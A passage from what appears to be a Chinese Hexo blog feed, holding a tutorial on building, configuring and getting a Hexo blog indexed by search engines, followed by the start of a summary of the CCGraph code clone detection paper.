class="markdownIt-Anchor" href="#快速建站"></a> 快速建站</h3><h4 id="1-指定文件夹"><a class="markdownIt-Anchor" href="#1-指定文件夹"></a> 1、指定文件夹</h4><p>安装 Hexo 完成后,请执行下列命令,Hexo 将会在指定文件夹中新建所需要的文件。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs bash">$ hexo init <folder><br>$ <span class="hljs-built_in">cd</span> <folder><br>$ npm install<br></code></pre></td></tr></table></figure><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210407152805.png" alt="image-20210407152805221" /></p><p>新建完成后,指定文件夹的目录如下:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs bash">.<br>├── _config.yml<br>├── package.json<br>├── scaffolds<br>├── <span class="hljs-built_in">source</span><br>| ├── _drafts<br>| └── _posts<br>└── themes<br></code></pre></td></tr></table></figure><h4 id="2-建立网址"><a class="markdownIt-Anchor" href="#2-建立网址"></a> 2、建立网址</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">$ hexo g<br></code></pre></td></tr></table></figure><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210407153512.png" alt="image-20210407153512373" /></p><p>会多出一个public的文件</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210407153539.png" alt="image-20210407153539086" /></p><h4 id="3-启动服务器"><a class="markdownIt-Anchor" href="#3-启动服务器"></a> 3、启动服务器</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">$ hexo s<br></code></pre></td></tr></table></figure><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210407153615.png" alt="image-20210407153615669" /></p><h4 id="4-访问网页"><a class="markdownIt-Anchor" href="#4-访问网页"></a> 4、访问网页</h4><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210407153645.png" alt="image-20210407153644873" /></p><h3 id="写作"><a class="markdownIt-Anchor" href="#写作"></a> 写作</h3><h4 id="创建文章"><a class="markdownIt-Anchor" href="#创建文章"></a> 创建文章</h4><p>执行下列命令来创建一篇新文章或者新的页面。</p><ul><li>可以在命令中指定文章的布局(layout),默认为 <code>post</code></li><li>可以通过修改 <code>_config.yml</code> 中的 <code>default_layout</code> 参数来指定默认布局。</li></ul><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">$ hexo new [layout] <title><br></code></pre></td></tr></table></figure><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210407154151.png" alt="image-20210407154151451" /></p><p>会 <code>\source\_posts</code> 下生成一篇文章</p><figure class="highlight markdown"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs markdown">---<br>title: 第一篇文章<br>date: 2021-04-07 15:41:18<br>tags:<br>---<br><br></code></pre></td></tr></table></figure><h4 id="重新生成网页"><a class="markdownIt-Anchor" href="#重新生成网页"></a> 重新生成网页</h4><ol><li>生成网页</li><li>运行服务器</li></ol><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs bash">$ hexo g<br>$ hexo s<br></code></pre></td></tr></table></figure><h2 id="hexo-域名管理"><a class="markdownIt-Anchor" href="#hexo-域名管理"></a> Hexo 域名管理</h2><blockquote><p><a href="https://dc.console.aliyun.com/next/index?spm=5176.12818093.favorite.ddomain.5adc16d0KPMqNR#/domain/list/all-domain">阿里域名控制台</a></p></blockquote><h3 id="配置域名"><a class="markdownIt-Anchor" href="#配置域名"></a> 配置域名</h3><h4 id="阿里云解析"><a class="markdownIt-Anchor" href="#阿里云解析"></a> 阿里云解析</h4><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210408115433.png" alt="image-20210408115433164" /></p><p>添加两条解析</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210408115709.png" alt="image-20210408115708992" /></p><h4 id="github-配置"><a class="markdownIt-Anchor" href="#github-配置"></a> Github 配置</h4><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210408115630.png" alt="image-20210408115630741" /></p><h2 id="hexo-主题配置"><a class="markdownIt-Anchor" href="#hexo-主题配置"></a> Hexo 主题配置</h2><blockquote><p>主题:<a href="https://github.com/fluid-dev/hexo-theme-fluid">hexo-theme-fluid</a><br />配置指南:<a href="https://hexo.fluid-dev.com/docs/">Hexo Fluid</a></p></blockquote><p>主题配置起来还是挺麻烦,不过官方教程写的比较详细,不明白的地方再多看看其他人的配置文章,基本上就可以了。</p><h3 id="1-网页访问统计"><a class="markdownIt-Anchor" href="#1-网页访问统计"></a> 1、网页访问统计</h3><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs yaml"><span class="hljs-comment"># 网页访问统计</span><br><span class="hljs-comment"># Analysis of website visitors</span><br><span class="hljs-attr">web_analytics:</span> <span class="hljs-comment"># 网页访问统计</span><br> <span class="hljs-attr">enable:</span> <span class="hljs-literal">true</span><br> <span class="hljs-comment"># 百度统计的 Key,值需要获取下方链接中 `hm.js?` 后边的字符串</span><br> <span class="hljs-comment"># See: https://tongji.baidu.com/sc-web/10000033910/home/site/getjs?siteId=13751376</span><br> <span class="hljs-attr">baidu:</span> <span class="hljs-string">ee358a24a3d27e65fdc3801fa166e19a</span><br> <br> <span class="hljs-comment"># LeanCloud 计数统计,可用于 PV UV 展示,如果 `web_analytics: enable` 没有开启,PV UV 展示只会查询不会增加</span><br> <span class="hljs-attr">leancloud:</span><br> <span class="hljs-attr">app_id:</span> <span class="hljs-string">aAmqsr4YuWrtrQmYt7oJIgRW-gzGzoHsz</span><br> <span class="hljs-attr">app_key:</span> <span class="hljs-string">Y7jgoCiJCgvS7HIg2H1r4BDv</span><br> <span class="hljs-comment"># REST API 服务器地址,国际版不填</span><br> <span class="hljs-comment"># Only the Chinese mainland users need to set</span><br> <span class="hljs-attr">server_url:</span> <span class="hljs-string">https://aamqsr4y.lc-cn-n1-shared.com</span><br></code></pre></td></tr></table></figure><h3 id="2-评论插件"><a class="markdownIt-Anchor" href="#2-评论插件"></a> 2、 评论插件</h3><ul><li>首先需要指定开启</li></ul><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs yaml"><span class="hljs-comment"># 评论插件</span><br><span class="hljs-comment"># Comment plugin</span><br><span class="hljs-attr">comments:</span><br><span class="hljs-attr">enable:</span> <span class="hljs-literal">true</span><br><span class="hljs-comment"># 指定的插件,需要同时设置对应插件的必要参数</span><br><span class="hljs-comment"># Options: utterances | disqus | gitalk | valine | waline | changyan | livere | remark42 | twikoo</span><br><span class="hljs-attr">type:</span> <span class="hljs-string">valine</span><br></code></pre></td></tr></table></figure><p>再配置下面的部分</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><code class="hljs yaml"><span class="hljs-comment"># Valine</span><br><span class="hljs-comment"># 基于 LeanCloud</span><br><span class="hljs-comment"># Based on LeanCloud</span><br><span class="hljs-comment"># See: https://valine.js.org/configuration.html</span><br><span class="hljs-attr">valine:</span><br> <span class="hljs-attr">appid:</span> <span class="hljs-string">73Hj5P4VcTv8HBdu8NBByx0A-gzGzoHsz</span><br> <span class="hljs-attr">appkey:</span> <span class="hljs-string">RiIo7kMzIb3EGAwRhvg7YEQ2</span><br> <span class="hljs-attr">placeholder:</span> <span class="hljs-string">说点什么</span><br> <span class="hljs-attr">path:</span> <span class="hljs-string">window.location.pathname</span><br> <span class="hljs-attr">avatar:</span> <span class="hljs-string">retro</span><br> <span class="hljs-attr">meta:</span> [<span class="hljs-string">'nick'</span>, <span class="hljs-string">'mail'</span>, <span class="hljs-string">'link'</span>]<br> <span class="hljs-attr">pageSize:</span> <span class="hljs-number">10</span><br> <span class="hljs-attr">lang:</span> <span class="hljs-string">zh-CN</span><br> <span class="hljs-attr">highlight:</span> <span class="hljs-literal">false</span><br> <span class="hljs-attr">recordIP:</span> <span class="hljs-literal">false</span><br> <span class="hljs-attr">serverURLs:</span> <br></code></pre></td></tr></table></figure><h2 id="百度和谷歌收录博客"><a class="markdownIt-Anchor" href="#百度和谷歌收录博客"></a> 百度和谷歌收录博客</h2><blockquote><p><a href="http://duansm.top/2018/08/08/hexo-sitemap/">百度和谷歌收录博客</a></p><p><a href="https://segmentfault.com/a/1190000037550362">怎么样让自己的博客被谷歌和百度收录</a></p></blockquote><h3 id="百度收录"><a class="markdownIt-Anchor" href="#百度收录"></a> 百度收录</h3><blockquote><p><a href="https://ziyuan.baidu.com/site/index#/">百度站点管理</a></p></blockquote><p>需要登录<a href="https://ziyuan.baidu.com/">百度搜索资源平台</a>, 只要是百度旗下的账号就可以, 登录成功之后在站点管理中点击<a href="https://ziyuan.baidu.com/site/siteadd#/">添加网站</a>,输入域名,按照步骤走。</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210408120056.png" alt="image-20210408120055995" /></p><p>需要验证网站的所有权,验证网站所有权的方式有三种</p><h4 id="cname解析验证"><a class="markdownIt-Anchor" href="#cname解析验证"></a> CNAME解析验证</h4><p>需要到域名供应商后台管理新增一条域名解析,以阿里云的域名解析为例:</p><ul><li><a href="http://xn--code-k8gqscg2Wk-4991af570d.reanon.xn--topCNAMEziyuan-dw1we92a2s5gte7bdl0e.baidu.com">请将code-k8gqscg2Wk.reanon.top使用CNAME解析到ziyuan.baidu.com</a></li></ul><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210408120419.png" alt="image-20210408120419056" /></p><h4 id="推送网站的资源"><a class="markdownIt-Anchor" href="#推送网站的资源"></a> 推送网站的资源</h4><p>百度已经知道有我们网站的存在了,但是百度还不知道我们的网站上有什么内容,所以要向百度推送我们的内容。</p><p>需要使用npm自动生成网站的sitemap,然后将生成的sitemap提交到百度和其他搜索引擎。</p><ul><li>sitemap是一种文件,您可以通过该文件列出您网站上的网页,从而将您网站内容的组织架构告知Google和其他搜索引擎。</li><li>Googlebot等搜索引擎网页抓取工具会读取此文件,以便更加智能地抓取您的网站。</li></ul><p>使用sitemap方式推送:需要先安装sitemap插件</p><h5 id="sitemap插件"><a class="markdownIt-Anchor" href="#sitemap插件"></a> sitemap插件</h5><p>安装插件:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs bash">$ npm install hexo-generator-sitemap --save<br>$ npm install hexo-generator-baidu-sitemap –-save<br></code></pre></td></tr></table></figure><p>编辑博客配置文件:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">$ vim _config.yml<br></code></pre></td></tr></table></figure><p>在文件最后添加以下内容:</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs yaml"><span class="hljs-comment"># 自动生成sitemap</span><br><span class="hljs-attr">sitemap:</span><br> <span class="hljs-attr">path:</span> <span class="hljs-string">sitemap.xml</span><br><span class="hljs-attr">baidusitemap:</span><br> <span class="hljs-attr">path:</span> <span class="hljs-string">baidusitemap.xml</span><br></code></pre></td></tr></table></figure><h5 id="hexo-abbrlink"><a class="markdownIt-Anchor" href="#hexo-abbrlink"></a> hexo-abbrlink</h5><p>hexo-abbrlink是一个hexo博客链接永久化的解决方案。它可以支持使用不同的算法和进制对文章链接进行转换。</p><p>安装</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">npm install hexo-abbrlink --save<br></code></pre></td></tr></table></figure><p>使用<br />打开config.yml,修改permalink中类似这样</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs yaml"><span class="hljs-attr">permalink:</span> <span class="hljs-string">:year/:month:abbrlink.html</span><br><span class="hljs-attr">abbrlink:</span> <br> <span class="hljs-attr">alg:</span> <span class="hljs-string">crc32</span> <span class="hljs-comment">#算法选项:crc16丨crc32</span><br> <span class="hljs-attr">rep:</span> <span class="hljs-string">hex</span> <span class="hljs-comment">#输出进制:dec为十进制,hex为十六进制</span><br></code></pre></td></tr></table></figure><p>然后执行hexo clean && hexo g 命令 我们可以发现永久链接生成如下。</p><p>保存文件,重新部署博客,查看:reanon.top/sitemap.xml。显示如下信息表示sitemap生成成功</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210408121652.png" alt="image-20210408121651960" /></p><h4 id="资源提交"><a class="markdownIt-Anchor" href="#资源提交"></a> 资源提交</h4><p>至此百度提交就完成了</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210408122018.png" alt="image-20210408122017974" /></p><h3 id="谷歌收录"><a class="markdownIt-Anchor" href="#谷歌收录"></a> 谷歌收录</h3><blockquote><p><a href="https://search.google.com/search-console/welcome">Google Search Console</a></p></blockquote><h2 id="hexo-配置文件"><a class="markdownIt-Anchor" href="#hexo-配置文件"></a> Hexo 配置文件</h2><h3 id="_configyml"><a class="markdownIt-Anchor" href="#_configyml"></a> _config.yml</h3><p>网站的 <a href="https://hexo.io/zh-cn/docs/configuration">配置</a> 信息,您可以在此配置大部分的参数。</p><h3 id="packagejson"><a class="markdownIt-Anchor" href="#packagejson"></a> package.json</h3><p>应用程序的信息。<a href="https://ejs.co/">EJS</a>, <a href="http://learnboost.github.io/stylus/">Stylus</a> 和 <a href="http://daringfireball.net/projects/markdown/">Markdown</a> renderer 已默认安装,您可以自由移除。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><code class="hljs bash">package.json{<br> <span class="hljs-string">"name"</span>: <span class="hljs-string">"hexo-site"</span>,<br> <span class="hljs-string">"version"</span>: <span class="hljs-string">"0.0.0"</span>,<br> <span class="hljs-string">"private"</span>: <span class="hljs-literal">true</span>,<br> <span class="hljs-string">"hexo"</span>: {<br> <span class="hljs-string">"version"</span>: <span class="hljs-string">""</span><br> },<br> <span class="hljs-string">"dependencies"</span>: {<br> <span class="hljs-string">"hexo"</span>: <span class="hljs-string">"^3.8.0"</span>,<br> <span class="hljs-string">"hexo-generator-archive"</span>: <span class="hljs-string">"^0.1.5"</span>,<br> <span class="hljs-string">"hexo-generator-category"</span>: <span class="hljs-string">"^0.1.3"</span>,<br> <span class="hljs-string">"hexo-generator-index"</span>: <span class="hljs-string">"^0.2.1"</span>,<br> <span class="hljs-string">"hexo-generator-tag"</span>: <span class="hljs-string">"^0.2.0"</span>,<br> <span class="hljs-string">"hexo-renderer-ejs"</span>: <span class="hljs-string">"^0.3.1"</span>,<br> <span class="hljs-string">"hexo-renderer-stylus"</span>: <span class="hljs-string">"^0.3.3"</span>,<br> <span class="hljs-string">"hexo-renderer-marked"</span>: <span class="hljs-string">"^0.3.2"</span>,<br> <span class="hljs-string">"hexo-server"</span>: <span class="hljs-string">"^0.3.3"</span><br> }<br>}<br></code></pre></td></tr></table></figure><h3 id="scaffolds"><a class="markdownIt-Anchor" href="#scaffolds"></a> scaffolds</h3><p><a href="https://hexo.io/zh-cn/docs/writing">模版</a> 文件夹。当您新建文章时,Hexo 会根据 scaffold 来建立文件。</p><p>Hexo的模板是指在新建的文章文件中默认填充的内容。例如,如果您修改scaffold/post.md中的Front-matter内容,那么每次新建一篇文章时都会包含这个修改。</p><h3 id="source"><a class="markdownIt-Anchor" href="#source"></a> source</h3><p>资源文件夹是存放用户资源的地方。除 <code>_posts</code> 文件夹之外,开头命名为 <code>_</code> (下划线)的文件 / 文件夹和隐藏的文件将会被忽略。Markdown 和 HTML 文件会被解析并放到 <code>public</code> 文件夹,而其他文件会被拷贝过去。</p><h3 id="themes"><a class="markdownIt-Anchor" href="#themes"></a> themes</h3><p><a href="https://hexo.io/zh-cn/docs/themes">主题</a> 文件夹。Hexo 会根据主题来生成静态页面。</p><h2 id="基本操作"><a class="markdownIt-Anchor" href="#基本操作"></a> 基本操作</h2><h3 id="生成文件"><a class="markdownIt-Anchor" href="#生成文件"></a> 生成文件</h3><p>使用 Hexo 生成静态文件快速而且简单。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">$ hexo generate<br></code></pre></td></tr></table></figure><h3 id="监视文件变动"><a class="markdownIt-Anchor" href="#监视文件变动"></a> 监视文件变动</h3><p>Hexo 能够监视文件变动并立即重新生成静态文件,在生成时会比对文件的 SHA1 checksum,只有变动的文件才会写入。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">$ hexo generate --watch<br></code></pre></td></tr></table></figure><h3 id="完成后部署"><a class="markdownIt-Anchor" href="#完成后部署"></a> 完成后部署</h3><p>您可执行下列的其中一个命令,让 Hexo 在生成完毕后自动部署网站,两个命令的作用是相同的。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs bash">$ hexo generate --deploy<br>$ hexo deploy --generate<br></code></pre></td></tr></table></figure><p>上面两个命令可以简写为:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs bash">$ hexo g -d<br>$ hexo d -g<br></code></pre></td></tr></table></figure>]]></content>
<categories>
<category>使用教程</category>
</categories>
<tags>
<tag>Hexo</tag>
</tags>
</entry>
<entry>
<title>CCGraph:a PDG-based code clone detector with approximate graph matching</title>
<link href="/2021/037cc91bb6.html"/>
<url>/2021/037cc91bb6.html</url>
<content type="html"><![CDATA[<h1 id="ccgraph"><a class="markdownIt-Anchor" href="#ccgraph"></a> CCGraph</h1><p>论文题目:(2020-ASE) <a href="https://ieeexplore.ieee.org/abstract/document/9286111">CCGraph:a PDG-based code clone detector with approximate graph matching</a> ——具有近似图匹配的基于PDG的代码克隆检测器</p><p>论文引用:Zou Y, Ban B, Xue Y, et al. CCGraph: a PDG-based code clone detector with approximate graph matching[C]//2020 35th IEEE/ACM International Conference on Automated Software Engineering (ASE). IEEE, 2020: 931-942.</p><h2 id="一-主要内容"><a class="markdownIt-Anchor" href="#一-主要内容"></a> 一、主要内容</h2><p>本文提出了一种新颖的基于程序依赖图(program dependency graph,PDG)的代码克隆检测器CCGraph,它使用图形内核。PDG的结构进行规范化,并通过测量代码的特征向量来设计两阶段过滤策略。使用一种基于重整WL(Reforming Weisfeiler-Lehman)图内核的近似图匹配算法来检测代码克隆。</p><h2 id="二-背景介绍"><a class="markdownIt-Anchor" href="#二-背景介绍"></a> 二、背景介绍</h2><h3 id="研究现状"><a class="markdownIt-Anchor" href="#研究现状"></a> 研究现状</h3><p>在实际软件项目中,代码克隆是指复制粘贴式的代码复用或者模式化思维所造成的相同或相似代码重复出现的现象。</p><p>由于开发风格因人而异,对同一功能的不同实现方式导致文本差异较大的高级别克隆在软件中广泛存在,不利于后续开发人员对代码的解读和维护,也增加了对软件进行二次开发的难度。</p><ul><li>因此,高级别代码克隆的检测可以帮助程序开发人员定位这些克隆代码,然后进行代码重构和系统维护,在软件开发过程中十分重要。</li></ul><p>目前在学术界,相关研究者按照源码文本之间的相似程度将代码克隆划分为4个级别</p><ol><li>Type-1 的代码克隆是指除了空白、注释和布局之外完全相同的代码。</li><li>Type-2 的代码克隆是指在 Type-1的基础上,除了标识名、变量名、变量类型和函数名以外完全相同的代码。</li><li>Type-3 的代码克隆是指在Type-2的基础上存在着一定的插入、删除和修改语句的相似的代码。</li><li>Type-4 的代码克隆是指功能相似但是通过不同的语法方式实现的代码。</li><li>对于 Type-3 和 Type-4 的高级别代码克隆检测,目前已经有一些国内外的学者进行了相关研究,其中基于程序依赖图 PDG (Program Dependency Graph)的方法是一类重要的检测方法。</li></ol><p>现有的基于PDG的代码克隆检测方法首先使用静态分析工具来构建包含源码语法结构及调用关系、数据流等的程序依赖图,再采用子图同构检测等精确图匹配算法找出2个相同或相似的PDG,以此发现克隆代码。</p><ul><li>但是,子图同构检测算法是经典的NP难问题,算法的高复杂度会导致时间消耗巨大,无法用于检测大型的软件系统,而且这种精确的图匹配算法容错率低,也会导致克隆代码的检出率低。</li></ul><p>本文提出了一种基于 Weisfeiler-Lehman 图核算法的代码克隆检测方法。</p><ul><li>本方法首先对PDG的结构进行了简化;</li><li>然后使用特征向量相似度的计算进行候选代码对的过滤;</li><li>最后采用 Weisfeiler-Lehman图核这种非精确图匹配的算法进行PDG的相似度计算。</li></ul><p>能够更高效地检测出更多的高级别克隆。</p><h3 id="图匹配算法"><a class="markdownIt-Anchor" href="#图匹配算法"></a> 图匹配算法</h3><p>图匹配算法可分为精确匹配和非精确匹配算法。精确图匹配算法主要是通过子图同构匹配来判断图相似度,精确图匹配大都是 NP 难问题,检测算法时间消耗过大,且还会降低对图结构误差的容忍性。</p><p>非精确图匹配算法主要是通过将图结构识别转为统计识别问题,找到精确图匹配最好的近似解,主要包括图嵌入和图核 2 种算法。图嵌入是指提取图的一些特征值进行相似度比较。这种降维处理损失了图中包含的大量结构信息,会降低图匹配精度,可以用于过滤操作。图核算法是把图映射到向量特征空间,使得2 个图的相似性等于它们在向量特征空间中的内积。</p><p>图核算法具体的流程如下所示:</p><ol><li>给定 2 个图 <span class="katex"><span class="katex-mathml"><math><semantics><mrow><msub><mi>G</mi><mn>1</mn></msub><mo stretchy="false">(</mo><msub><mi>V</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>E</mi><mn>1</mn></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">G_{1}(V_1,E_1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathdefault">G</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.22222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.05764em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>、<span class="katex"><span class="katex-mathml"><math><semantics><mrow><msub><mi>G</mi><mn>2</mn></msub><mo stretchy="false">(</mo><msub><mi>V</mi><mn>2</mn></msub><mo separator="true">,</mo><msub><mi>E</mi><mn>2</mn></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">G_{2}(V_2,E_2)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathdefault">G</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.22222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.05764em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>、以及一种图分解方式 F,分解后的子结构为:</li></ol><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>F</mi><mo stretchy="false">(</mo><msub><mi>G</mi><mn>1</mn></msub><mo stretchy="false">)</mo><mo>=</mo><mrow><msub><mi>S</mi><mrow><mn>1</mn><mo separator="true">,</mo><mn>1</mn></mrow></msub><mo separator="true">,</mo><msub><mi>S</mi><mrow><mn>1</mn><mo separator="true">,</mo><mn>2</mn></mrow></msub><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><msub><mi>S</mi><mrow><mn>1</mn><mo separator="true">,</mo><msub><mi>N</mi><mn>1</mn></msub></mrow></msub></mrow><mspace linebreak="newline"></mspace><mi>F</mi><mo stretchy="false">(</mo><msub><mi>G</mi><mn>2</mn></msub><mo stretchy="false">)</mo><mo>=</mo><mrow><msub><mi>S</mi><mrow><mn>2</mn><mo separator="true">,</mo><mn>1</mn></mrow></msub><mo separator="true">,</mo><msub><mi>S</mi><mrow><mn>2</mn><mo separator="true">,</mo><mn>2</mn></mrow></msub><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><msub><mi>S</mi><mrow><mn>2</mn><mo separator="true">,</mo><msub><mi>N</mi><mn>2</mn></msub></mrow></msub></mrow></mrow><annotation encoding="application/x-tex">F(G_1)= {S_{1,1},S_{1,2}...S_{1,N_1}} \\F(G_2)= {S_{2,1},S_{2,2}...S_{2,N_2}}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">F</span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault">G</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" 